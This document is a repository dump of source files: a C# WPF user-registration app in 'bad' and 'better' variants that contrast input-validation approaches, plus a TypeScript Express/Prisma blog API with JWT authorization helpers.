</summary> public class Email : IComparable<Email> { private string _value; private string Value { get { return _value; } set { if (ValidateValue(value)) { _value = value; } } } public bool IsValid => ValidateValue(Value); public Email() { } public Email(string value) { Value = value; } private bool ValidateValue(string value) { //Valid email specification: https://www.ietf.org/rfc/rfc5322.txt //Will allow source: https://en.wikipedia.org/wiki/Email_address#Examples): //<EMAIL> //very.common @example.com //disposable.style.email.with + <EMAIL> //other.email - with - <EMAIL> //fully - qualified - <EMAIL> //user.name + tag + <EMAIL>(may go to <EMAIL> inbox depending on mail server) //x @example.com(one - letter local - part) //example - indeed@strange - example.com //admin @mailserver1(local domain name with no TLD, although ICANN highly discourages dotless email addresses) //example @s.example(see the List of Internet top - level domains) //" "@example.org(space between the quotes) //"john..doe"@example.org // //Are all these needed to validate against? //Built in C# validation //Good enough? try { var mail = new System.Net.Mail.MailAddress(value); return true; } catch (Exception e) { throw new ArgumentException("Not a valid e-mail address."); } //Regular expressions (a more classical approach that will work in //other languages as well. Including alphanumerical, period (.), //dash (-) and underscore (_). string emailRegex = @"^(?:(\w|\d|-|\.)+@(\w|-)+\.\w{2,})$"; if (System.Text.RegularExpressions.Regex.IsMatch(value, emailRegex) && value.Length < 255) { return true; } else { throw new ArgumentException("Not a valid e-mail address."); } } /// <summary> /// Auto instantiate a new Name object as if it were a regular String through /// Email mail = "<EMAIL>" instead of Email mail = new Email("<EMAIL>"). /// </summary> /// <param name="value">Value to give to the object</param> public static implicit operator Email(string value) { try { return (value == null) ? null : new Email(value); } catch (Exception e) { return null; } } /// <summary> /// Make the class act as if it was a regular string when /// only variable name is used in for example binding in /// a usercontrol. /// </summary> /// <param name="self">This</param> public static explicit operator string(Email self) { return self?._value; } public override string ToString() { return _value.ToString(); } #region Interface implemetation public int CompareTo(Email other) { return _value.CompareTo(other.ToString()); } #endregion } }<file_sep>This class library create a random name out of the 100 most common female first names and the 100 most common male first names in the USA. The last names are based on the 100 most common last names in the USA. Randomizations are made through RNGCryptoServiceProvider to decide the gender and to create the seed for the regular Random class. Move the file names.xlsx to your executing directory that use the class library. Add the project as a reference. Call "NameGenerator.NameGenerator.GetFirstName()" to get a first name, will randomize the gender. Call "NameGenerator.NameGenerator.GetLastName()" to get a last name. Usage example (will get 10 random first and last names): for(int i = 0; i < 10; i++) { string firstName = NameGenerator.NameGenerator.GetFirstName(); string lastName = NameGenerator.NameGenerator.GetLastName().; } Result example (lastName, firstName): --Run 1-- <NAME> <NAME> <NAME> <NAME> Coleman, Justin <NAME> <NAME> <NAME> <NAME> Miller, Russell --Run 2-- <NAME> Howard, Peter Butler, Lawrence Lewis, Catherine Gonzalez, Lori Ross, Emma Perez, Alice Martinez, Debra Watson, Brandon Wilson, Betty<file_sep>using System; using System.Collections.Generic; using System.Globalization; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Data; namespace BetterDDSec.Converters { class StringDevivatesToStringConverter : IValueConverter { public object Convert(object value, Type targetType, object parameter, CultureInfo culture) { return value?.ToString(); } public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture) { var returnValue = Activator.CreateInstance(targetType); returnValue = value.ToString(); return returnValue; } } } <file_sep>using BadDDSec.Models; using BadDDSec.Storage; using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Navigation; using System.Windows.Shapes; namespace BadDDSec.Views { /// <summary> /// Interaction logic for ListAllUsers.xaml /// </summary> public partial class ListAllUsers : UserControl { public ObservableCollection<User> Users { get; set; } public ListAllUsers() { Users = new ObservableCollection<User>(UserStorage.Instance.GetAllUsers()); InitializeComponent(); } private void evntSaveUser(object sender, RoutedEventArgs e) { User user = ((Button)sender).DataContext as User; if (user.FirstName.Length > 2 && user.FirstName.Length < 50 && user.LastName.Length > 2 && user.LastName.Length < 50 && user.Email.Contains("@") && !user.Email.EndsWith("@") && !user.Email.StartsWith("@")) UserStorage.Instance.UpdateUser(user); else MessageBox.Show($"User {user.FullName} could not be saved. Errors while validating.", "Error while saving.", MessageBoxButton.OK, MessageBoxImage.Stop); } private void evntDeleteUser(object sender, RoutedEventArgs e) { UserStorage.Instance.RemoveUser(((Button)sender).DataContext as User); Users.Remove(((Button)sender).DataContext as User); } } } <file_sep>using BetterDDSec.Models; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace BetterDDSec.Storage { class UserStorage { static private UserStorage _instance; static private object _padlock = new object(); static public UserStorage Instance { get { if (_instance == null) lock (_padlock) if (_instance == null) _instance = new UserStorage(); return _instance; } } private List<User> _users; private UserStorage() { _users = new List<User>(); } internal void GenerateContent(int numberOfUsers) { for (int i = 0; i < numberOfUsers; i++) { string first = NameGenerator.NameGenerator.GetFirstName(), last = NameGenerator.NameGenerator.GetLastName(); _users.Add(new User(first, last, $"{first.ToLower()}.{last.ToLower()}@<EMAIL>", new Random().Next(1950, 2000))); } } public void AddUser(User user) { if (!_users.Contains(user, new UserComparer())) _users.Add(user); } public User GetUser(Guid userId) { return _users.Where(x => x.Id == userId).FirstOrDefault(); } internal void UpdateUser(User user) { if (_users.Where(x => x.Id == user.Id).FirstOrDefault() != null) _users[_users.IndexOf(_users.Where(x => x.Id == user.Id).FirstOrDefault())] = user; } public User[] GetAllUsers() { return _users.ToArray(); } public void RemoveUser(User user) { if (_users.Where(x => x.Id == user.Id).FirstOrDefault() != null) _users.Remove(user); } public class UserComparer : IEqualityComparer<User> { public bool Equals(User x, User y) { return x.Id == y.Id; } public int GetHashCode(User obj) { return obj.Id.GetHashCode(); } } } } <file_sep>using BadDDSec.Models; using BadDDSec.Storage; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Text.RegularExpressions; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Navigation; using System.Windows.Shapes; namespace BadDDSec.Views { /// <summary> /// Interaction logic for RegisterUser.xaml /// </summary> public partial class RegisterUser : UserControl { User User { get; set; } string Heading { get; set; } private bool NewUser { get; set; } public RegisterUser() { InitializeComponent(); User = new User(); DataContext = User; NewUser = true; } public RegisterUser(User user) : this() { User = user; NewUser = false; } private void evntSave(object sender, RoutedEventArgs e) { string nameRegex = @"(\D\S)\w{1,50}"; string emailRegex = @"^(?=.*\S)[-!#$%&\'*+\/=?^_`{|}~,.a-z0-9]{1,64}[@]{1}[-.a-zåäö0-9]{4,253}$"; if (!string.IsNullOrEmpty(User.Email) && Regex.IsMatch(User.Email, emailRegex) && !string.IsNullOrEmpty(User.FirstName) && Regex.IsMatch(User.FirstName, nameRegex) && !string.IsNullOrEmpty(User.LastName) && Regex.IsMatch(User.LastName, nameRegex)) { if (NewUser) { UserStorage.Instance.AddUser(User); } else { UserStorage.Instance.UpdateUser(User); } evntClear(sender, e); } else { MessageBox.Show("Could not validate the new user.", "Error while validating.", MessageBoxButton.OK, MessageBoxImage.Error); } } private void evntClear(object sender, RoutedEventArgs e) { User = new User(); DataContext = User; } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace BetterDDSec.Models { /// <summary> /// Implementation of integer values with only basic functionality and /// mocking of primary type. /// </summary> public class Year { private int _value; public Year(string value) { _value = int.Parse(value); } public Year(int value) { _value = value; } /// <summary> /// Auto instantiate a new Name object as if it were a regular String through /// Email mail = "<EMAIL>" instead of Email mail = new Email("<EMAIL>"). /// </summary> /// <param name="value">Value to give to the object</param> public static implicit operator Year(int value) { return new Year(value); } public static implicit operator int(Year self) { return self._value; } public override string ToString() { return _value.ToString(); } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Text; using System.Threading.Tasks; namespace BetterDDSec.Models { public class User { [Required] public Name FirstName { get; set; } [Required] public Name LastName { get; set; } [Required] [EmailAddress] public Email Email { get; set; } [Required] public Year BirthYear { get; set; } [Key] [Required] public Guid Id { get; private set; } public (bool validationResult, ValidationResult[] validationMessages) IsValid => Validate(); public string FullName { get { return $"{LastName}, {FirstName}"; } set { string[] fullName = value.Split(','); FirstName = new Name(fullName[1].Trim()); LastName = new Name(fullName[0].Trim()); } } public User() { Id = Guid.NewGuid(); } public User(Name firstName, Name lastName, Email email, Year birthYear, Guid? id = null) : this() { FirstName = firstName; LastName = lastName; Email = email; BirthYear = birthYear; if (id != null) Id = (Guid)id; } private (bool validationResult, ValidationResult[] validationMessages) Validate() { List<ValidationResult> valResult = new List<ValidationResult>(); bool result = Validator.TryValidateObject(this, new ValidationContext(this), valResult); return (result, valResult.ToArray()); } } } <file_sep>using BadDDSec.Models; using BadDDSec.Storage; using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Navigation; using System.Windows.Shapes; namespace BadDDSec.Views { /// <summary> /// Interaction logic for ListAllUsersAsText.xaml /// </summary> public partial class ListAllUsersAsText : UserControl { public ObservableCollection<User> Users { get; set; } public ListAllUsersAsText() { Users = new ObservableCollection<User>(UserStorage.Instance.GetAllUsers()); InitializeComponent(); } } } <file_sep>using BetterDDSec.Models; using BetterDDSec.Storage; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Text.RegularExpressions; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Navigation; using System.Windows.Shapes; namespace BetterDDSec.Views { /// <summary> /// Interaction logic for RegisterUser.xaml /// </summary> public partial class RegisterUser : UserControl { User User { get; set; } string Heading { get; set; } private bool NewUser { get; set; } public RegisterUser() { InitializeComponent(); User = new User(); DataContext = User; NewUser = true; } public RegisterUser(User user) : this() { User = user; NewUser = false; } private void evntSave(object sender, RoutedEventArgs e) { string nameRegex = @"(\D\S)\w{1,50}"; string emailRegex = @"^(?=.*\S)[-!#$%&\'*+\/=?^_`{|}~,.a-z0-9]{1,64}[@]{1}[-.a-zåäö0-9]{4,253}$"; var validationResult = User.IsValid; if (validationResult.validationResult) try { if (NewUser) { UserStorage.Instance.AddUser(User); } else { UserStorage.Instance.UpdateUser(User); } evntClear(sender, e); } catch { MessageBox.Show("Could not validate the new user.", "Error while validating.", MessageBoxButton.OK, MessageBoxImage.Error); } else { List<string> validationMessages = new List<string>(); foreach (var vr in validationResult.validationMessages) { validationMessages.Add(vr.ErrorMessage); } MessageBox.Show($"The following errors have to be corrected:\n{string.Join("\n", validationMessages)}", "Error while saving", MessageBoxButton.OK, MessageBoxImage.Warning); } } private void evntClear(object sender, RoutedEventArgs e) { User = new User(); DataContext = User; } } } <file_sep>using System; using System.Collections; using System.Collections.Generic; using System.Globalization; using System.Runtime.ConstrainedExecution; using System.Runtime.InteropServices; using System.Security; using System.Text; namespace BetterDDSec.Models { /// <summary> /// Overkill version of string mocking. /// </summary> [ComVisible(true)] public class Name : IComparable, ICloneable, IConvertible, IEnumerable, IComparable<String>, IEnumerable<char>, IEquatable<String> { private string _value; public Name() { } public Name(string value) { //Validation go here. //What is a resonable name? //Minimum length? //Maximum length? //Disallowed characters? //Are the rules the same for all names? //Use culture invariants? _value = value; } /// <summary> /// Auto instantiate a new Name object as if it were a regular String through /// Name name = "the name" instead of Name name = new Name("the name"). /// </summary> /// <param name="name">Value to give to the name</param> public static implicit operator Name(string name) { return (name == null) ? null : new Name(name); } public static implicit operator string(Name self) { return self._value; } #region Interface implementations public int CompareTo(object obj) { return _value.CompareTo(obj.ToString()); } public object Clone() { return MemberwiseClone(); } public TypeCode GetTypeCode() { return _value.GetTypeCode(); } public bool ToBoolean(IFormatProvider provider) { return ((IConvertible)_value).ToBoolean(provider); } public char ToChar(IFormatProvider provider) { return ((IConvertible)_value).ToChar(provider); } public sbyte ToSByte(IFormatProvider provider) { return ((IConvertible)_value).ToSByte(provider); } public byte ToByte(IFormatProvider provider) { return ((IConvertible)_value).ToByte(provider); } public short ToInt16(IFormatProvider provider) { return ((IConvertible)_value).ToInt16(provider); } public ushort ToUInt16(IFormatProvider provider) { return ((IConvertible)_value).ToUInt16(provider); } public int ToInt32(IFormatProvider provider) { return ((IConvertible)_value).ToInt32(provider); } public uint ToUInt32(IFormatProvider provider) { return ((IConvertible)_value).ToUInt32(provider); } public long ToInt64(IFormatProvider provider) { return ((IConvertible)_value).ToInt64(provider); } public ulong ToUInt64(IFormatProvider provider) { return ((IConvertible)_value).ToUInt64(provider); } public float ToSingle(IFormatProvider provider) { return ((IConvertible)_value).ToSingle(provider); } public double ToDouble(IFormatProvider provider) { return ((IConvertible)_value).ToDouble(provider); } public decimal ToDecimal(IFormatProvider provider) { return ((IConvertible)_value).ToDecimal(provider); } public DateTime ToDateTime(IFormatProvider provider) { return ((IConvertible)_value).ToDateTime(provider); } public string ToString(IFormatProvider provider) { return _value.ToString(provider); } public object ToType(Type conversionType, IFormatProvider provider) { return ((IConvertible)_value).ToType(conversionType, provider); } public IEnumerator GetEnumerator() { return ((IEnumerable)_value).GetEnumerator(); } IEnumerator<char> IEnumerable<char>.GetEnumerator() { return ((IEnumerable<char>)_value).GetEnumerator(); } public int CompareTo(string other) { return _value.CompareTo(other); } public bool Equals(string other) { return _value.Equals(other); } #endregion #region String mock functionality public Name Empty => string.Empty; public Name(char[] value) : this(new string(value)) { } public Name(char c, int count) : this(new string(c, count)) { } public Name(char[] value, int startIndex, int length) : this(new string(value, startIndex, length)) { } public char this[int index] { get { return _value[index]; } } public int Length { get { return _value.Length; } } public static int Compare(Name nameA, Name nameB, bool ignoreCase) { return string.Compare(nameA.ToString(), nameB.ToString(), ignoreCase); } [SecuritySafeCritical] public static int Compare(Name nameA, int indexA, Name nameB, int indexB, int length, StringComparison comparisonType) { return string.Compare(nameA.ToString(), indexA, nameB.ToString(), indexB, length, comparisonType); } public static int Compare(Name nameA, int indexA, Name nameB, int indexB, int length, CultureInfo culture, CompareOptions options) { return string.Compare(nameA.ToString(), indexA, nameB.ToString(), indexB, length, culture, options); } public static int Compare(Name nameA, int indexA, Name nameB, int indexB, int length, bool ignoreCase, CultureInfo culture) { return string.Compare(nameA.ToString(), indexA, nameB.ToString(), indexB, length, ignoreCase, culture); } public static int Compare(Name nameA, int indexA, Name nameB, int indexB, int length, bool ignoreCase) { return string.Compare(nameA.ToString(), indexA, nameB.ToString(), indexB, length, ignoreCase); } public static int Compare(Name nameA, int indexA, Name nameB, int indexB, int length) { return string.Compare(nameA.ToString(), indexA, nameB.ToString(), indexB, length); } public static int Compare(Name nameA, Name nameB, bool ignoreCase, CultureInfo culture) { return string.Compare(nameA.ToString(), nameB.ToString(), ignoreCase, culture); } public static int Compare(Name nameA, Name nameB, CultureInfo culture, CompareOptions options) { return string.Compare(nameA.ToString(), nameB.ToString(), culture, options); } [SecuritySafeCritical] public static int Compare(Name nameA, Name nameB, StringComparison comparisonType) { return string.Compare(nameA.ToString(), nameB.ToString(), comparisonType); } public static int Compare(Name nameA, Name nameB) { return string.Compare(nameA.ToString(), nameB.ToString()); } [SecuritySafeCritical] public static int CompareOrdinal(Name nameA, int indexA, Name nameB, int indexB, int length) { return string.CompareOrdinal(nameA.ToString(), indexA, nameB.ToString(), indexB, length); } public static int CompareOrdinal(Name nameA, Name nameB) { return string.CompareOrdinal(nameA.ToString(), nameB.ToString()); } [SecuritySafeCritical] public static Name Concat(Name name0, Name name1) { return new Name(string.Concat(name0, name1)); } [SecuritySafeCritical] public static Name Concat(Name name0, Name name1, Name name2) { return new Name(string.Concat(name0, name1, name2)); } public static Name Concat(object arg0) { return new Name(string.Concat(arg0)); } [SecuritySafeCritical] public static Name Concat(Name name0, Name name1, Name name2, Name name3) { return new Name(string.Concat(name0, name1, name2, name3)); } public static Name Concat(object arg0, object arg1) { return new Name(string.Concat(arg0, arg1)); } public static Name Concat(params Name[] values) { List<string> strValues = new List<string>(); foreach (Name name in values) { strValues.Add(name.ToString()); } return new Name(string.Concat(strValues.ToArray())); } [CLSCompliant(false)] #pragma warning disable CS3021 // Type or member does not need a CLSCompliant attribute because the assembly does not have a CLSCompliant attribute public static Name Concat(object arg0, object arg1, object arg2, object arg3) #pragma warning restore CS3021 // Type or member does not need a CLSCompliant attribute because the assembly does not have a CLSCompliant attribute { return new Name(string.Concat(arg0, arg1, arg2, arg3)); } public static Name Concat(params object[] args) { return new Name(string.Concat(args)); } [ComVisible(false)] public static Name Concat<T>(IEnumerable<T> values) { return new Name(string.Concat(values)); } [ComVisible(false)] public static Name Concat(IEnumerable<Name> values) { return new Name(string.Concat(values)); } public static Name Concat(object arg0, object arg1, object arg2) { return new Name(string.Concat(arg0, arg1, arg2)); } [SecuritySafeCritical] public static Name Copy(Name name) { return new Name(name.ToString()); } public static bool Equals(Name a, Name b) { return string.Equals(a.ToString(), b.ToString()); } [SecuritySafeCritical] public static bool Equals(Name a, Name b, StringComparison comparisonType) { return string.Equals(a.ToString(), b.ToString(), comparisonType); } public static Name Format(string format, object arg0) { return new Name(string.Format(format, arg0)); } public static Name Format(string format, object arg0, object arg1, object arg2) { return new Name(string.Format(format, arg0, arg1, arg2)); } public static Name Format(string format, params object[] args) { return new Name(string.Format(format, args)); } public static Name Format(string format, object arg0, object arg1) { return new Name(string.Format(format, arg0, arg1)); } public static Name Format(IFormatProvider provider, string format, object arg0, object arg1, object arg2) { return new Name(string.Format(provider, format, arg0, arg1, arg2)); } public static Name Format(IFormatProvider provider, string format, params object[] args) { return new Name(string.Format(provider, format, args)); } public static Name Format(IFormatProvider provider, string format, object arg0, object arg1) { return new Name(string.Format(provider, format, arg0, arg1)); } public static Name Format(IFormatProvider provider, string format, object arg0) { return new Name(string.Format(provider, format, arg0)); } public static bool IsNullOrEmpty(Name value) { return string.IsNullOrEmpty(value.ToString()); } public static bool IsNullOrWhiteSpace(Name value) { return string.IsNullOrWhiteSpace(value.ToString()); } public int CompareTo(Name nameB) { return CompareTo((object)nameB); } public bool Contains(string value) { return _value.Contains(value); } public bool EndsWith(string value) { return _value.EndsWith(value); } [ComVisible(false)] [SecuritySafeCritical] public bool EndsWith(string value, StringComparison comparisonType) { return _value.EndsWith(value, comparisonType); } public bool EndsWith(string value, bool ignoreCase, CultureInfo culture) { return _value.EndsWith(value, ignoreCase, culture); } [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] public bool Equals(Name value) { return _value.Equals(value.ToString()); } [SecuritySafeCritical] public bool Equals(Name value, StringComparison comparisonType) { return _value.Equals(value.ToString(), comparisonType); } [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] public override bool Equals(object obj) { return _value.Equals(obj); } [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] [SecuritySafeCritical] public override int GetHashCode() { return _value.GetHashCode(); } [SecuritySafeCritical] public int IndexOf(char value, int startIndex, int count) { return _value.IndexOf(value, startIndex, count); } public int IndexOf(char value, int startIndex) { return _value.IndexOf(value, startIndex); } public int IndexOf(string value) { return _value.IndexOf(value); } public int IndexOf(string value, int startIndex) { return _value.IndexOf(value, startIndex); } public int IndexOf(string value, int startIndex, int count) { return _value.IndexOf(value, startIndex, count); } public int IndexOf(string value, StringComparison comparisonType) { return _value.IndexOf(value, comparisonType); } public int IndexOf(string value, int startIndex, StringComparison comparisonType) { return _value.IndexOf(value, startIndex, comparisonType); } public int IndexOf(char value) { return _value.IndexOf(value); } [SecuritySafeCritical] public int IndexOf(string value, int startIndex, int count, StringComparison comparisonType) { return _value.IndexOf(value, startIndex, count, comparisonType); } [SecuritySafeCritical] public int IndexOfAny(char[] anyOf, int startIndex, int count) { return _value.IndexOfAny(anyOf, startIndex, count); } public int IndexOfAny(char[] anyOf, int startIndex) { return _value.IndexOfAny(anyOf, startIndex); } public int IndexOfAny(char[] anyOf) { return _value.IndexOfAny(anyOf); } [SecuritySafeCritical] public Name Insert(int startIndex, string value) { return new Name(_value.Insert(startIndex, value)); } public bool IsNormalized() { return _value.IsNormalized(); } [SecuritySafeCritical] public bool IsNormalized(NormalizationForm normalizationForm) { return _value.IsNormalized(normalizationForm); } [SecuritySafeCritical] public int LastIndexOf(string value, int startIndex, int count, StringComparison comparisonType) { return _value.LastIndexOf(value, startIndex, count, comparisonType); } [SecuritySafeCritical] public int LastIndexOf(char value, int startIndex, int count) { return _value.LastIndexOf(value, startIndex, count); } public int LastIndexOf(char value, int startIndex) { return _value.LastIndexOf(value, startIndex); } public int LastIndexOf(char value) { return _value.LastIndexOf(value); } public int LastIndexOf(string value, int startIndex) { return _value.LastIndexOf(value, startIndex); } public int LastIndexOf(string value, int startIndex, StringComparison comparisonType) { return _value.LastIndexOf(value, startIndex, comparisonType); } public int LastIndexOf(string value, int startIndex, int count) { return _value.LastIndexOf(value, startIndex, count); } public int LastIndexOf(string value, StringComparison comparisonType) { return _value.LastIndexOf(value, comparisonType); } public int LastIndexOf(string value) { return _value.LastIndexOf(value); } public int LastIndexOfAny(char[] anyOf) { return _value.LastIndexOfAny(anyOf); } public int LastIndexOfAny(char[] anyOf, int startIndex) { return _value.LastIndexOfAny(anyOf, startIndex); } [SecuritySafeCritical] public int LastIndexOfAny(char[] anyOf, int startIndex, int count) { return _value.LastIndexOfAny(anyOf, startIndex, count); } public Name Normalize() { return new Name(_value.Normalize()); } [SecuritySafeCritical] public Name Normalize(NormalizationForm normalizationForm) { return new Name(_value.Normalize(normalizationForm)); } public Name PadLeft(int totalWidth, char paddingChar) { return new Name(_value.PadLeft(totalWidth, paddingChar)); } public Name PadLeft(int totalWidth) { return new Name(_value.PadLeft(totalWidth)); } public Name PadRight(int totalWidth, char paddingChar) { return new Name(_value.PadRight(totalWidth, paddingChar)); } public Name PadRight(int totalWidth) { return new Name(_value.PadRight(totalWidth)); } public Name Remove(int startIndex) { return new Name(_value.Remove(startIndex)); } [SecuritySafeCritical] public Name Remove(int startIndex, int count) { return new Name(_value.Remove(startIndex, count)); } public Name Replace(string oldValue, string newValue) { return new Name(_value.Replace(oldValue, newValue)); } public Name Replace(char oldChar, char newChar) { return new Name(_value.Replace(oldChar, newChar)); } private Name[] SplitFromArray(string[] s) { Name[] n = new Name[s.Length]; for (int i = 0; i < s.Length; i++) { n[i] = new Name(s[i]); } return n; } public Name[] Split(params char[] separator) { return SplitFromArray(_value.Split(separator)); } public Name[] Split(char[] separator, int count) { return SplitFromArray(_value.Split(separator, count)); } [ComVisible(false)] public Name[] Split(char[] separator, StringSplitOptions options) { return SplitFromArray(_value.Split(separator, options)); } [ComVisible(false)] public Name[] Split(char[] separator, int count, StringSplitOptions options) { return SplitFromArray(_value.Split(separator, options)); } [ComVisible(false)] public Name[] Split(string[] separator, StringSplitOptions options) { return SplitFromArray(_value.Split(separator, options)); } [ComVisible(false)] public Name[] Split(string[] separator, int count, StringSplitOptions options) { string[] s = _value.Split(separator, options); return SplitFromArray(s); } [ComVisible(false)] [SecuritySafeCritical] public bool StartsWith(string value, StringComparison comparisonType) { return _value.StartsWith(value, comparisonType); } public bool StartsWith(string value, bool ignoreCase, CultureInfo culture) { return _value.StartsWith(value, ignoreCase, culture); } public bool StartsWith(string value) { return _value.StartsWith(value); } [SecuritySafeCritical] public Name Substring(int startIndex, int length) { return new Name(_value.Substring(startIndex, length)); } public Name Substring(int startIndex) { return new Name(_value.Substring(startIndex)); } [SecuritySafeCritical] public char[] ToCharArray(int startIndex, int length) { return _value.ToCharArray(startIndex, length); } [SecuritySafeCritical] public char[] ToCharArray() { return _value.ToCharArray(); } public Name ToLower(CultureInfo culture) { return new Name(_value.ToLower(culture)); } public Name ToLower() { return new Name(_value.ToLower()); } public Name ToLowerInvariant() { return new Name(_value.ToLowerInvariant()); } public Name ToUpper() { return new Name(_value.ToUpper()); } public Name ToUpper(CultureInfo culture) { return new Name(_value.ToUpper(culture)); } public Name ToUpperInvariant() { return new Name(_value.ToUpperInvariant()); } public Name Trim(params char[] trimChars) { return new Name(_value.Trim(trimChars)); } public Name Trim() { return new Name(_value.Trim()); } public Name TrimEnd(params char[] trimChars) { return new Name(_value.TrimEnd(trimChars)); } public Name TrimStart(params char[] trimChars) { return new Name(_value.TrimStart(trimChars)); } public static bool operator ==(Name a, Name b) { if (object.ReferenceEquals(a, null)) return object.ReferenceEquals(b, null); return a.Equals(b); } public static bool operator !=(Name a, Name b) { if (object.ReferenceEquals(a, null)) return !object.ReferenceEquals(b, null); return !a.Equals(b); } #endregion #region Overrides public override string ToString() { return _value; } #endregion } }<file_sep>using OfficeOpenXml; using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Reflection; using System.Security.Cryptography; using System.Text; using System.Threading.Tasks; namespace NameGenerator { public class NameGenerator { public static string GetFirstName() { return GetName(); } public static string GetLastName() { return GetName(false); } private static string GetName(bool firstName = true) { string execPath = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "names.xlsx"), value; var rowAndCol = GetRowAndColumn(); using (ExcelPackage xlPkg = new ExcelPackage(new FileInfo(execPath))) { value = xlPkg.Workbook.Worksheets.First().Cells[rowAndCol.row, (firstName) ? rowAndCol.column : 3].GetValue<string>(); } return value; } private static (int row, int column) GetRowAndColumn() { int col, seed, row; RNGCryptoServiceProvider provider = new RNGCryptoServiceProvider(); byte[] byteArray = new byte[4]; provider.GetBytes(byteArray); seed = Math.Abs((int)BitConverter.ToUInt32(byteArray, 0)); col = (seed % 2) + 1; //Excel is 1 indexed. row = new Random(seed).Next(1, 100); return (row, col); } } }
5f65c8d47d1b85598c53bc90f84b05b6236104f3
[ "C#", "Text" ]
13
C#
gingerswede/DDSec
549ad48707af906adf482c587b15c949ab562263
7b10e8f09a0aabf9044003bac2653632e3930013
refs/heads/master
<file_sep>import { handleNotFound, handleError } from "../helpers"; import { PrismaClient } from "@prisma/client"; const prisma = new PrismaClient(); const authorColumns = { author: { select: { username: true, }, }, }; export const getPosts = async (req, res) => { const { limit = 10, page = 1, sortOrder = "asc", author, title } = req.query; try { const posts = await prisma.post.findMany({ take: limit, skip: limit * (page - 1), orderBy: { id: sortOrder, }, where: { author: { username: author, }, title: { contains: title, }, }, include: authorColumns, }); const collectedPosts = posts.map((post) => ({ ...post, postLength: post.content.length, author: post.author.username, })); const result = { count: collectedPosts.length, data: collectedPosts, }; res.json(result); } catch (error) { handleError(error.message, res); } }; export const getFeed = async (req, res) => { try { const posts = await prisma.post.findMany({ where: { published: true }, include: authorColumns, }); const feedPosts = posts.map((post) => ({ ...post, postLength: post.content.length, author: post.author.username, })); const result = { count: feedPosts.length, data: feedPosts, }; res.json(result); } catch (error) { handleError(error.message, res); } }; export const createPost = async (req, res) => { const { title, content, author } = req.body; try { const post = await prisma.post.create({ data: { title, content, author: { connect: { username: author, }, }, }, include: authorColumns, }); res.json(post); } catch (error) { handleError(error.message, res); } }; export const getOnePost = async (req, res) => { const { id } = req.params; try { const post = await prisma.post.findUnique({ where: { id: +id, }, include: authorColumns, }); const result = { ...post, author: post.author.username, }; res.json(result); } catch (error) { handleNotFound(error.message, res); } }; export const publishPost = async (req, res) => { const { id } = req.params; try { const post = await prisma.post.update({ where: { id: +id }, data: { published: true }, }); res.json(post); } catch (error) { handleNotFound(error.message, res); } }; export const updatePost = async (req, res) => { const { id } = req.params; const params = req.body; console.log(req.body); try { const post = await prisma.post.update({ where: { id: +id }, data: params, }); res.json(post); } catch (error) { handleNotFound(error.message, res); } }; export const deletePost = async (req, res) => { const { id } = req.params; try { const post = await prisma.post.delete({ where: { id: +id }, }); res.json(post); } catch (error) { handleNotFound(error.message, res); } }; <file_sep>import express from "express"; import { createPost, deletePost, getFeed, getOnePost, getPosts, publishPost, updatePost, } from "../controllers/postController"; import { authorizationMiddleware } from "../token"; const router = express.Router(); router.use(authorizationMiddleware); router.get("/feed", getFeed); router.get("/", getPosts); router.post("/", createPost); router.get("/:id", getOnePost); router.delete("/:id", deletePost); router.put("/:id", updatePost); router.put("/publish/:id", publishPost); export default router; <file_sep>import express from "express"; import { deleteuser, getOneUser, getUsers, updateUser, } from "../controllers/userController"; import { authorizationMiddleware } from "../token"; const router = express.Router(); router.use(authorizationMiddleware); router.get("/", getUsers); router.get("/:id", getOneUser); router.put("/:id", updateUser); router.delete("/:id", deleteuser); export default router; <file_sep>import express from "express"; import { loginUser, registerUser, updateUserPassword, } from "../controllers/userController"; const router = express.Router(); router.post("/register", registerUser); router.post("/login", loginUser); router.put("/password-reset", updateUserPassword); export default router; <file_sep>-- AlterTable ALTER TABLE `Post` ADD COLUMN `published` BOOLEAN NOT NULL DEFAULT false; <file_sep>import jwt from "jsonwebtoken"; import httpStatus from "http-status-codes"; const generateToken = (payload: { username: string; user_id: number }) => new Promise((resolve) => { const token = jwt.sign(payload, process.env.TOKEN_SECRET, { expiresIn: "30 days", }); resolve(token); }); const decodeToken = (token: string) => new Promise((resolve, reject) => { jwt.verify(token, process.env.TOKEN_SECRET, (error, decoded) => { if (error) reject(error); resolve(decoded); }); }); const validateLogin = (authorization: string) => new Promise(async (resolve, reject) => { if (!authorization) return reject(new Error("Missing authorization header")); const headerParts = authorization.split(" "); if (headerParts.length < 2) { return reject(new Error("Invalid Authorization Header")); } const token = headerParts[1].toString(); try { const decodedToken = await decodeToken(token); resolve(decodedToken); } catch (error) { reject(error); } }); const authorizationMiddleware = async (req, res, next) => { try { console.log("token", req.headers.authorization); req.authInfo = await validateLogin(req.headers.authorization); } catch (error) { return res.status(httpStatus.UNAUTHORIZED).send({ error: error.message }); } next(); }; export { generateToken, 